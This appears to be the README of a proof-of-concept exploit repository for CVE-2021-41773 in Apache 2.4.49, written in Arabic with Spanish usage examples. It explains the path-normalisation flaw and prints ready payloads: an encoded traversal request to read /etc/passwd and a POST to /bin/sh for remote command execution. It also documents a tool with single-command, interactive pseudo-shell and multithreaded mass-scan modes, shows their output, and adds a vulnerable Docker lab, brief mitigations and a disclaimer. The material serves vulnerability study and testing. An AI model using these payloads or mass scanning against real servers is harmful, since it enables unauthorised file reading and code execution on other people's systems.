
إثبات المفهوم لـ CVE-2021-41773
للاستخدام فقط في البيئات الخاضعة للسيطرة والمملوكة. لا تستخدم ضد أنظمة دون إذن.
تم تطوير هذا الدليل العملي (PoC) لإثبات وفهم الثغرة الأمنية CVE-2021-41773، الموجودة في Apache HTTP Server 2.4.49.
يكمن الخلل في الدالة ap_normalize_path()، التي لم تكن تتحقق بشكل صحيح من الأحرف المشفرة في عنوان URL. كان هذا يسمح للمهاجم بالخروج خارج DocumentRoot عبر تسلسل من الأحرف المشفرة (%2e%2e%2f بدلاً من ../)، مما يتيح قراءة ملفات عشوائية من النظام.
عندما كانت وحدة mod_cgi مفعّلة، كانت الثغرة تتصاعد إلى RCE (تنفيذ تعليمات برمجية عن بُعد)، مما يسمح بتنفيذ أوامر مباشرة على الخادم بأذونات عملية Apache.
يجب أن يستوفي الخادم جميع هذه الشروط ليكون عرضة للثغرة:
| الشرط | التفصيل |
|---|---|
| إصدار Apache | 2.4.49 بالتحديد |
| توجيه الوصول | Require all granted في الإعدادات |
| وحدة CGI | mod_cgi مفعّلة (فقط لـ RCE) |
كان Apache 2.4.49 يرشّح ../ الكلاسيكي لكن ليس نسخته المشفرة في عنوان URL. يبني المهاجم مسارًا لا يكتشفه المرشّح، لكن نظام التشغيل يفسّره بشكل صحيح:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f هو الترميز URL لـ ../. كان Apache يسمح بمروره، ونظام التشغيل يحلّه، وكانت النتيجة الوصول إلى ملفات خارج دليل الويب.
مع تفعيل mod_cgi، يُستخدم path traversal للإشارة إلى /bin/sh بدلاً من ملف. يتعامل معه Apache كنص CGI وينفّذه. ينتقل الأمر في جسم POST كسكربت shell أدنى:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
يصل ناتج الأمر في استجابة HTTP.
يتضمن المستودع بيئة جاهزة لإعادة إنتاج الثغرة في setup/:
cd setup
docker compose up -d
هذا يشغّل Apache 2.4.49 على المنفذ 8080 مع التكوين القابل للاستغلال (Require all granted + mod_cgi مُفعّل). ملفات المختبر:
| الملف | الوصف |
|---|---|
setup/docker-compose.yml | حاوية مع Apache 2.4.49 |
setup/httpd.conf | تكوين Apache القابل للاستغلال |
ملفات التكوين المستخدمة موجودة في setup/.
لماذا urllib3 وليس requests؟
يعيد requests ترميز أحرف المسار تلقائيًا قبل إرسالها.
هذا يُفسد الحمولة لأن الخادم يستقبل %252e بدلاً من %2e.
يسمح urllib3 بإرسال المسار دون تعديلات.
لماذا .%2e/ وليس %2e%2e/؟
يقوم Apache بتصفية %2e%2e/ في وحدة mod_rewrite.
المتغير .%2e/ مكافئ دلاليًا لكنه يمر عبر الفلتر،
لأن تطبيع المسار يحدث بعد التحقق.
mod_cgi لكي يعمل وضع RCE.
بدونها، لا يكون ممكنًا سوى path traversal.python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| المعامل | مطلوب | الوصف |
|---|---|---|
--target | نعم* | عنوان URL الأساسي للخادم (مثال: http://localhost:8080) |
--input-file / -iF | نعم* | ملف يحتوي على قائمة الأهداف (هدف واحد في كل سطر) |
--mode | نعم | وضع التشغيل (انظر الجدول أدناه) |
--cmd | لا | الأمر المراد تنفيذه في وضع rce (الافتراضي: id) |
--file | لا | الملف المراد قراءته في وضع traversal (الافتراضي: /etc/passwd) |
--threads / -t | لا | عدد الخيوط للفحص الجماعي (الافتراضي: 10، فقط مع --input-file) |
--output / -o | لا | تصدير النتائج إلى JSON (فقط مع --input-file) |
* --target و --input-file متعارضان — يُستخدم أحدهما أو الآخر.
| الوضع | الوصف |
|---|---|
check | يتحقق مما إذا كان الهدف عرضة للثغرة وما إذا كان mod_cgi مُفعّلًا، دون استخراج بيانات حساسة |
traversal | يقرأ ملفًا عشوائيًا من النظام عبر path traversal |
rce | ينفّذ أمرًا فرديًا على الخادم عبر mod_cgi |
shell | شل زائف تفاعلي لتنفيذ أوامر RCE على التوالي |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
ملف JSON يحتوي على بيانات وصفية للمسح ومصفوفة نتائج تتضمن target وstatus وserver وhostname وrce لكل هدف.
2.4.51 أو أحدث.Require all denied كقيمة افتراضية.mod_cgi إذا لم يكن ضروريًا بشكل صارم.⚠️ هذا المستودع مخصص للأغراض التعليمية فقط.
استخدام هذا الاستغلال ضد أنظمة دون إذن صريح غير قانوني.
تم اختباره حصريًا في بيئات محلية خاضعة للرقابة.